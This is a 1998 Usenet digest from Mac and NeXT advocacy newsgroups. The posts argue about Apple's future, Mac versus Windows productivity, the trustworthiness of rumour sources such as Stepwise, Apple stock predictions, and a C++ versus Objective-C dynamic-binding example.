Message-ID: <6olne8$hfi$1@nnrp1.dejanews.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oj7pn$2j7$1@nnrp1.dejanews.com> <joe.ragosta-1607980653260001@elk63.dol.net>
In article <joe.ragosta-1607980653260001@elk63.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Only your last complaint is valid. The studies, AFAIK, were limited to
> DOS, Win3.1, Win95, and WinNT. OS/2 might have been included, but I doubt
> it. Other OSs were not included. I'm not aware of any studies involving
> other OSs. Unless you have some available, we'll have to consider that an
> unsettled issue.
Exactly. Saying that your operating system is better than Windows is like
saying that your car is better than an AMC pacer. It could still be crap.
> As for "what you're doing" making a difference, you're right in theory. In
> practice, the Mac comes out ahead of every form of Windows in every test
> that's thrown at it--from a detailed study of 30,000 graphics
> professionals to a kid and her dog against an experienced Windows user in
> set up time ;-). When the Mac comes out so far ahead in every comparison,
> you can take it as a general statement.
I can think of a few tasks which I could perform more productively under
Windows. High-end 3D work and high volume web serving come to mind.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 17:25:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D3E7F9-6105F@206.165.43.46>
References: <pxpst2-1607981145120001@pelli.pathology.pitt.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Peter <pxpst2@unixs.cis.pitt.edu> said:
>As for only believing Jobs, Well Jobs has never been known for his prowess
>as an OS programmer. He is an OS visionary and is a fine leader but when
>it come to the nuts and bolts of OS code, Jobs relies heavily on his NeXT
>crowd that came with him to Apple. And those peaple are freinds of
>Scott's because the NeXT WOrld just is not that big. I am going to go out
>on a limb here, but I bet Scott is on a first name basis with Avie
>Tervanian. You do know who that is?
>
>It is wise that you remeber that not ever one on the USENET is filled with
>rumors and Half assed truths.
So how many in the NeXT community were aware that DPS was to be killed
before it happened? Where were Scott's friends at that point?
Fact is that different parts of Apple can be saying different things
because that is what they believe to be true. Only Jobs knows what he is
really planning and unless Scott had spoken to Jobs, he couldn't be sure
that his friends, even if they were senior VPs, were correct. In fact, if
Scott HAD spoken to Jobs, he STILL couldnt' be sure that what he heard was
the real plan, or maybe it was only the plan du jour.
In Amelio's book, there's supposed to be an account of Amelio and Tevanian
going to lunch together. Tevanian allegedly told Amelio that he far
prefered to have Amelio as boss because Amelio was more likely to stick to
a plan than Jobs was.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 17:22:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D3E732-5E1BC@206.165.43.46>
References: <pxpst2-1607981151540001@pelli.pathology.pitt.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.system
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> said:
>As for doubting Henry Norr, well when was the last time that he had to
>write code that would make money. And How many insiders does he know?
>Writing about code is not the same as writing code.
Henry Knorr has been writing about the Mac since it was first released.
Until recently, he was serving as editor *emirtus* for MacWeek. He's
probably on a first name basis with every CEO and President of the company.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 20:38:00 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1607982038010001@pelli.pathology.pitt.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net> <6ogm1i$g1e$1@news.digifix.com> <not-1407982242490001@1-43.phx.psn.net> <6oif1k$h7g$5@server.signat.org> <35ACCF02.B825A5B9@ericsson.com>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <35ACCF02.B825A5B9@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Cute job of mischaracterizing Scott, but you are in fact wrong. Scott
> *directly* challenged Henry Norr's credibility with *zero*
> justification.
His justification is the same as Norr's. You choose who you wish to
believe. I believe that Scotts sources are better then NorrS. Also if
you bothered to read Norrs article you would note that He( Norr) stated
the answers seemed quite rehersed. One may assume that Apple is
deliberatly being effusive.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Thu, 16 Jul 1998 20:40:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ologe$j7d$1@nnrp1.dejanews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se>
In article <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se>,
lars.farm@ite.mh.se (Lars Farm) wrote:
> A v-table lookup is an associative lookup in a table of function
> pointers using a function signature as key. A function signature is the
> function name + the types of its arguments in order. It is what
> distinguishes one function from another. What exactly is a selector?
> Could you please describe the corresponding Obj C process in a little
> more detail?
If this is done at runtime (which you seem to be claiming) then the following
code should work:
#include <iostream.h>
class CA
{
public:
virtual void print( void ) { cout << "Hello\n"; };
};
class CB
{
public:
virtual void whatup( void ) { cout << "What up!\n"; };
virtual void print( void ) { cout << "Hello\n"; };
};
void main( void )
{
CA *a = new CA;
((CB *) a)->print( );
}
But this code will probably crash. It did on my computer (as it should have
because C++ doesn't feature dynamic binding). If you want, I'll write the
equivalent Objective-C code for you (which will work because Objective-C does
feature dynamic binding).
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 16 Jul 1998 21:50:36 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6olsjc$m7r$1@camel21.mindspring.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <dHrr1.4009$24.23232568@news.itd.umich.edu> ,
not@my.address.net writes:
>One problem with the idea is that reputation provides a very inefficient
>mechanism for regulating a marketplace. Reputations take a long time to
>develop. The degrade quickly, but even so the timeline is longer than I would
>accept for a stock exchange since I could lose a fortune overnight.
If you have a fortune invested in equities in todays market, you should
expect it is imminently possible you could lose 25% overnight, 50% if you
are heavily into the high-tech issues. If you do not see that, you are
making a big mistake buying equities (or equity funds).
Here's an
>analogy: We could do without meat inspectors and just leave everything up to
>the reputation of the butcher in the marketplace. But I don't want to be the
>one that dies from Mad Cow disease because one day my butcher got tempted to buy
>cheap beef from England and I bought it before word got out.
Strange. Last thing I heard people _did_ die from mad cow disease. And,
of course, orders of magnitude more died from salmonella poisoning, but
since salmonella is not "sexy" governments have made much less noise.
Somehow your vaunted protectors did't protect a whole lot of people.
Matthew Cromerw
>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Following up on a prediction...
Date: Thu, 16 Jul 1998 15:27:46 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1607981527460001@dante.eng.uci.edu>
Waaay back when (May 18), I made these silly predictions and was just
wondering how I did:
In article <rmcassid-1805981655100001@dante.eng.uci.edu>, Robert Cassidy
<rmcassid@uci.edu> wrote:
>I'll go one better. No money behind it - why gamble with you guys when I
>can just buy the stock...
>
>$45 by August 20. $60 by Jan 20 1999.
Well, these remain to be seen...
>Other predictions, but less thought out:
>
>I wouldn't be too surprised to see $27.5 near term, but nothing lower.
We saw $26.5 or a little less. Close, but a little too off considering the
time frame.
>Rebound to the 30's within 2-3 weeks.
It took 6 weeks. Blech.
>$35 before Macworld
$32 during Macworld, but no better. I had thought we would get new G3s by
MacWorld, and certainly by iMac roll-out, but it seems that'll be saved
for Seybold as to not get lost in the iMac glare.
>$38 before earnings,
$37.5 after earnings... pretty pleased with this. At least I was in the
neighborhood. I had thought Powerbooks would have more impact, but
production problems got in the way. To add insult to injury, I still
haven't gotten the one *I* ordered.
>slow runup to $45 as weak 1998 quarters are behind and big Q4
>iMac earnings are ahead. Watch for upgrades this quarter.
Two upgrades so far... I don't _think_ we'll hit $45. But I'm hoping for
$40 by iMac rollout. We should see a rollback from where we are, though,
unless some earnings increases come out or some further upgrades.
Q4 should be nice and show growth and Q1 should be even better. I'm
sticking by my $60 estimate for now.
-Bob Cassidy
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 16 Jul 1998 21:04:08 -0400
Organization: none
Message-ID: <id_est-1607982104080001@192.168.1.3>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <6ollab$qo3$1@news01.deltanet.com>
In article <6ollab$qo3$1@news01.deltanet.com>, scott@eviews.com (Scott
Ellsworth) wrote:
> Personally, I would target all of the PCI boxes internally, and tell
> everyone outside that only G3 boxes would be supported. If at all
> possible, qualify the odd machine here and there, and make sure people
> know about it as they come up. Then, while you will have users of old
> machines annoyed with you during the prep phase, you might win them
> back when you ship.
This is what I would do as well.It makes the most sense. Of course, if
Apple is doing this then we would be hearing from Apple pretty much what
we are hearing from Apple now, wouldn't we?
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 17 Jul 1998 01:07:29 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qt8uh.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu> <35AE772F.B35DEA51@ericsson.com>
On Thu, 16 Jul 1998 16:57:03 -0500, Michael Peck wrote:
:
:Huh? First off, loss of reputation is a deterrent from the behavior you
:propose. In other words, the benefit of reputation is not that it
:enables us to close down naughty businesses after the fact, but rather
:that it is a valuable thing sought by all men and organizations, who
:will jealously guard it, and thus eschew actions which may hurt other
:people.
Funny, but I find the threat of prosecution for contaminating meat to
be far more compelling a protection than some "loss of reputation" for
some mythical industry-supported group.
:Secondly, how does regulatory power amend this situation? I don't
:understand your point. What quality control measures (poor as they are
:in reality) might the FDA institute that wouldn't be desirable, anyway,
:were reputation more coveted in the marketplace?
Why isn't reputation coveted now? Why aren't there groups like
SafeMeat with more-strict-than-USDA-standards inspecting and branding
meat right now?
What is there to stop them? I don't think there are any big bad
government thugs in their way at the moment.
Oftentimes honest companies actually like reasonable government
regulation for safety and environmental compliance when are uniformly
applied, because they don't want to get in a race to the bottom with
competitors by having to undercut their standards below what they feel
is morally acceptable.
By contrast, imagine Safe-T-Meat (instead of SafeMeat) was formed by
other not-so-honest meatproducers which wanted to give the illusion of
safe meat inspection, but really it was just a sham. Or perhaps the
honest SafeMeat gets quietly subverted or bought out.
After all, all these supposed organizations would have to be funded by
the companies they are supposed to inspect. From money comes influence, and
they would be quite susceptible to hushing up problems "for the good of the
industry".
Yes, in the fundamentalist libertarian world, everybody would end up
suing each other for all the fraud committed by all these sorts of
scams. Assuming they had the money, and could find the perpetrators,
and could actually procure sufficient evidence of such. But most
likely, they'd just be sick. What a horrible world.
Note, already today there exist private "food inspection" and
certification agencies, namely the kosher rabbinical authorities.
Here, the motivations are quite different from the normal commercial
ones, and the argument concerning "loss of reputation" does hold given
the social position of the authorities. I think this is an
exceptional situation. Still, no Jew has died by eating food which
was biologically safe but, not 'quite' kosher. ;)
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Thu, 16 Jul 1998 21:07:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6olq2u$lad$1@nnrp1.dejanews.com>
References: <35AA8501.CF6AAF27@nospam.com> <35AC0107.29F81818@alum.mit.edu> <6ogvfj$opt$2@lwnws01.ne.highway1.com> <us51zrn3j22.fsf@ai.mit.edu> <6oh8n7$4vu$1@camel21.mindspring.com> <6oi465$5q5$1@nnrp1.dejanews.com> <slrn6qsbli.860.sal@panix3.panix.com>
In article <slrn6qsbli.860.sal@panix3.panix.com>,
sal@panix3.panix.com (Salvatore Denaro) wrote:
> Or maybe because it takes a lot more people to get an App done in VC++
:-) Definately true but I think that 80+% of development projects are probably
being done in VC++.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Thu, 16 Jul 1998 19:10:05 -0500
Organization: none
Message-ID: <tim-1607981910370001@207.8.127.139>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se> <tim-1607981112260001@jump-k56flex-1168.jumpnet.com> <1dc9x8b.zd5oce1hpc3c9N@dialup184-3-49.swipnet.se>
In article <1dc9x8b.zd5oce1hpc3c9N@dialup184-3-49.swipnet.se>,
lars.farm@ite.mh.se (Lars Farm) wrote:
| (1) Dynamic binding: Seems very similar to me. The C++ search could be
| done exactly like that using "selectors". There are differences, but
| they have to do with ...
Yes, we are in agreement, now that I see you are discussing things from
the more theoretical side, rather than from the implementation side:
C++ virtual functions *could* be handled with the more general lookup
mechanism of Smalltalk or Obj-C; the reason they aren't is that the
language constraints (2) and (3) you listed restrict what can be done at
runtime enough that a simpler, more restrictive dynamic dispatch (vtable
indirection) can be used instead.
--
-- Tim Olson
From: thomas@hype.mycal.net (Thomas)
Newsgroups: comp.sys.next.advocacy
Subject: XEarth and Earth via Backspace/Linux hate-mail
Date: 17 Jul 1998 00:24:05 GMT
Organization: Verio Northern California's Usenet News Service
Message-ID: <6om5j5$b81$1@news.ncal.verio.com>
Hi,
Did you ever notice how much better the Earth module for Backspace looks
than the Linux XEarth screensaver?
I have Linux and Openstep/Rhap on my desk and am amazed- some folks had
convinced me that Linux was a useful environment, but other than the router
functions it has for TCP/IP it seems pretty darn crude and generally useless.
It doesn't even seem much if any faster than DR2 is.
Thomas
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 00:38:19 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qt77r.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6okmrf$10j$3@ironhorse.plsys.co.uk> <not-1607981039320001@2-20.phx.psn.net> <6olir3$rsp$1@lwnws01.ne.highway1.com>
On 16 Jul 1998 19:04:03 GMT, John Kheit <jkheit@mediaone.net> wrote:
:Now, as for the specific question, why scott wouldn't lie about it. Because
:if apple *were* going to kill YB, him saying they won't will do little to
:nothing to change things; but will make him look pretty stupid. That's
:plenty of incentive for most people.
In my experience, Stepwise has been the most consistently sane, accurate,
high-content, low-fluff *news* site in the entire Apple world that I've
seen.
Given the history and consistency, I believe it reasonable to ascribe
this accuracy as something intrinsic to the personal character of the
editor, namely Scott Anguish.
Certainly, few in the OpenStep world are happy with the termination of
OSX/Intel after 1.0, but it was reported unambiguously on Stepwise
once the facts were in. Likewise for NSHosting.
Yes, this is nothing but a naked appeal to character, but I do believe
that character matters: S. A. has earned my trust, and it has not
been broken by any empirical evidence.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Christian Jensen <cejensen@winternet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 01:25:13 GMT
Organization: StarNet Communications, Inc.
Message-ID: <6om95p$q5a$1@blackice.winternet.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net> <6ogm1i$g1e$1@news.digifix.com> <not-1407982242490001@1-43.phx.psn.net> <6oif1k$h7g$5@server.signat.org> <35ACCF02.B825A5B9@ericsson.com>
NNTP-Posting-Date: 17 Jul 1998 01:25:13 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
>where is this "caring NeXT community" you once told
>me about?
c.s.n.*advocacy* is probably not the best place to find evidence of it.
--Chris
**************************
Chris Jensen
cejensen@winternet.com
MIME, Sun, NeXTMail OK
"Sacred cows make the best hamburger."
--Mark Twain
From: thomas@hype.mycal.net (Thomas)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Magazine Apple Poll
Date: 17 Jul 1998 00:38:38 GMT
Organization: Verio Northern California's Usenet News Service
Message-ID: <6om6ee$b81$2@news.ncal.verio.com>
References: <35ADBB84.71CFB29@alum.mit.edu>
I'd say that this is line with the fact that WIN32 users take awhile to
ever figure out what's going on- they are SO slow!
It's taken months to educate people at my company about what Rhapsody/YB
really is. I tell them. I tell them again. I tell them once more.
Then they get it for the rest of the day and are excited. I come back
a week later. I tell them. I tell them again. I tell them once more.
Calmly but firmly. Over and over again.
Eventually some market-analyst will come out and say, hey! this is a
darn productive environment. You should put your money here.
Then they'll come to my office and say, "See, I always knew Mac OS was
the way to go and that Apple would fly." Duh... Apple stock hit some
ridiculous value today. That always helps.
My hope is that Mac OS X will have IP masquerading and routing a la Linux
with a trivial setup-interface in the Control Panels. Yow! That would
render Linux as kinduv-a has-been OS since it seems useless for anything
outside of this function. And I could get the darn thing off my desk.
Thomas
Eric Hermanson (eric@alum.mit.edu) wrote:
: http://www.pcmagazine.com
: How do you regard Apple today?
: Reborn. Steve Jobs has whipped it into shape. 333 (20%)
: Surviving. It has a future in graphics and education. 491 (29%)
: Struggling. It's already lost all the big battles. 878 (52%) *
: * As Cartman was say, "Those son's a-bitches!"
: Eric
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 17 Jul 1998 00:45:09 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qt7kl.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <gmgraves-1607981304560001@sf-pm5-16-80.dialup.slip.net>
On Thu, 16 Jul 1998 13:04:56 -0700, George Graves <gmgraves@slip.net> wrote:
: He is also responsible for one of the biggest
:engineering blunders in Apple's history: The Aquarius Project. In the
:late '80's Gassee convinced Scully that Apple should be designing
:and making THEIR OWN RISC PROCESSORS. Gassee knew nothing about
:semiconductors, less about microprocessors, and Scully knew less
:than he did about either (Pepsi salesman). Anyone with an ounce of
:engineering acumen knows that designing a microprocessor is THE
:most difficult of all semiconductor engineering projects. Gassee
:didn't and convinced Scully to let him piss away hundreds of millions
:of dollars trying.
Gassee was an idiot, and Sculley was an incompetent for not realizing
he is an idiot and firing him.
By counterpoint Gerstner didn't have a technology background before
coming to IBM, but he did understand business and obviously has made
an effort to understand the economics of engineering.
Steve Jobs might alienate some good people sometimes, but he also seems
to have the ability to weed out losers which, from the experience above, can
massively harm a company.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
Date: Thu, 16 Jul 1998 20:40:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1607982040390001@elk123.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net> <6ojb7i$90f$1@nnrp1.dejanews.com> <not-1507981748580001@5-45.phx.psn.net> <gmgraves-1607981340180001@sf-pm5-16-80.dialup.slip.net>
In article <gmgraves-1607981340180001@sf-pm5-16-80.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <not-1507981748580001@5-45.phx.psn.net>,
eilersm@azstarnet.com wrote:
>
> > In article <6ojb7i$90f$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> >
> > > But there is no way that Apple can claim that MacOS 8 is their next
> generation
> > > operating system. It isn't even as revolutionary as the change from
> System 6 +
> > > multifinder -> System 7.
> >
> > You haven't seen an 8.5 beta or read the articles about it on MacNN
> > Reality, then. 8.5 is a totally next generation operating system, a
> > wuantum leapy beyond even 8.1. It will keep us very happy while we are
> > waiting for Mac OS X, trust me.
>
> Well, I'm running it and except for the V-twin search engine and the
> Themes manger (without any themes in the latest Alpha), I see no
> real difference between 8.1 and 8.5.
Hmmm. It's not generally very wise to publicly announce that you or
someone close to you is breaking a NDA.
BTW, there's at least one other major UI feature that you've
forgotten--and one that's going to be very happily received.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 16 Jul 1998 20:42:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-1607982042160001@elk123.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <pxpst2-1107981101450001@pelli.pathology.p <6ol3nq$14g$1@vixen.cso.uiuc.edu> <6ollab$qo3$1@news01.deltanet.com> <6olmdj$6ee@newsb.netnews.att.com>
In article <6olmdj$6ee@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Scott Ellsworth <scott@eviews.com> wrote:
>
> >January of 93, all new purchases were P60s, moving to P90s as they
> >became affordable.
>
> I think the first Pentium systems became available in May 93.
> (e.g., "Pentium systems are due in May", Windows Sources, May 1993,
> "THE LONG-AWAITED Pentium-based systems will be rolling out at the
> end of May..."
Time flies, huh?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 16 Jul 1998 21:29:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Message-ID: <joe.ragosta-1607982129100001@elk123.dol.net>
